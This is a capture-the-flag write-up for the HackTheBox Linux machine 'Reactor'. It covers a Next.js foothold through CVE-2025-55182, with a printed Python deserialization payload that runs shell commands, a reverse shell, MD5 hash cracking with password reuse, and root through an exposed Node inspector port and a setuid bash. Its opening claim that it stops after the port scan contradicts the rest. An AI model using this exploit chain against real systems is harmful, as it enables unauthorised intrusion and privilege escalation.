Reactor Writeup - HackTheBox
Created May 23, 2026 • Last updated October 11, 2026 • 4 min read
Reactor is a Linux box whose entire external surface is a single Next.js application. It is still active, so this page opens with the port scan and stops there.
Reconnaissance
Port scan
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0) 3000/tcp open http Next.js | fingerprint-strings: | X-Powered-By: Next.js | x-nextjs-cache: HIT |_ Content-Type: text/html; charset=utf-8 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Explain command
| -sCV | Run the default script set and probe service versions. |
| -p22,3000 | Scan the two exposed ports. |
Domains
The app is reached directly by IP on port 3000, with no virtual host in the scan. The machine name is reactor.htb.
Only SSH and a web app on 3000. The X-Powered-By: Next.js header and the _next asset paths are the whole story: this is a Next.js server, and its version puts it in range for React2Shell.
Vulnerability Discovery
React2Shell
CVE-2025-55182 is an unauthenticated RCE in Next.js server actions. The React Server Components payload is deserialized in a way that lets a crafted chunk reach a prototype pollution gadget and, through it, the Function constructor, so an attacker controlled string runs as JavaScript on the server. Assetnote's scanner confirms the target is affected before any exploitation.
[*] Loaded 1 host(s) to scan [*] Using RCE PoC check [VULNERABLE] http://$TARGET_IP:3000 - Status: 303 Vulnerable: 1
Explain command
| -u http://$TARGET_IP:3000 | Target Next.js server to test. |
Exploitation
From gadget to shell
The public proof of concept sends the crafted server action chunk. The gadget walks __proto__ to then, then constructor:constructor to reach Function, and the _prefix field carries the JavaScript to run, a child_process.execSync call with the command of choice.
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {"get": "$1:constructor:constructor"},
},
}
files = {"0": (None, json.dumps(crafted_chunk)), "1": (None, '"$@0"')}
requests.post(BASE_URL, files=files, headers={"Next-Action": "x"}, timeout=10)
Running it with an id command proves execution by returning the result in the error digest.
500
0:{"a":"$@1","f":"","b":"L3bimJe_3LvBcFWAnK5L4"}
1:E{"digest":"uid=999(node) gid=988(node) groups=988(node)"}
Code runs as the node user. Swapping the command for a reverse shell one liner and catching it turns it interactive.
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 48378
python3 -c 'import pty;pty.spawn("/bin/bash")'
node@reactor:/opt/reactor-app$ whoami
node
Explain command
| -l | Listen for an incoming connection instead of dialing out. |
| -v | Verbose output so the inbound connection is visible. |
| -n | Skip DNS resolution on the connecting address. |
| -p $ATTACKER_PORT | Local port the reverse shell connects back to. |
Lateral Movement
The application database
The app directory holds a SQLite database next to the source, and /etc/passwd shows one real interactive user besides root, engineer. The database is where a reused credential is most likely to sit.
admin|$ADMINS_HASH engineer|$ENGINEERS_HASH
Two MD5 hashes. Feeding them to hashcat against a wordlist cracks the engineer entry.
$ENGINEERS_HASH:$ENGINEERS_PASSWORD
Explain command
| -m 0 | Hash mode for raw MD5. |
The password is reused for the system account, so SSH takes it directly.
engineer@reactor:~$ whoami engineer
That is the user context. sudo -l is denied and asks for a password that leads nowhere, so escalation has to come from something running on the box.
Privilege Escalation
A root debugger port
root 1381 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js <snip>
A Node process runs as root with --inspect=127.0.0.1:9229. The inspector is the V8 debug protocol, and anything that connects to it can evaluate JavaScript inside that root process. It listens on loopback, which is fine because the SSH session is already on the host. node inspect attaches to it.
connecting to 127.0.0.1:9229 ... ok
debug> exec("process.mainModule.require('child_process').execSync('id').toString()")
'uid=0(root) gid=0(root) groups=0(root)\n'
Plain require is not defined in the debug REPL, but process.mainModule.require reaches child_process the same way the web exploit did. Running it as root is enough to mark a bash copy setuid, or read the flag directly.
debug> exec("process.mainModule.require('child_process').execSync('chmod u+s /bin/bash').toString()")
uid=1000(engineer) gid=1000(engineer) euid=0(root) groups=1000(engineer)
Explain command
| -p | Keep the effective root id instead of dropping it on startup. |
Root through the setuid bash. User via engineer and root via the exposed inspector are both covered.
Related
References
-
Next.js server actions RCE (React2Shell)REPO: Next.js server actions RCE (React2Shell), github.com/advisories/GHSA-4342-x723-ch2f (opens in new tab)
Advisory for CVE-2025-55182, the deserialization gadget behind the foothold.
-
msanft/CVE-2025-55182CVE: msanft/CVE-2025-55182, github.com/msanft/CVE-2025-55182 (opens in new tab)
Proof of concept for the server action RCE used here.
-
Node.js debugging with --inspectLINK: Node.js debugging with --inspect, nodejs.org/en/learn/getting-started/debugging (opens in new tab)
Explains the inspector protocol that a root process exposed on 9229.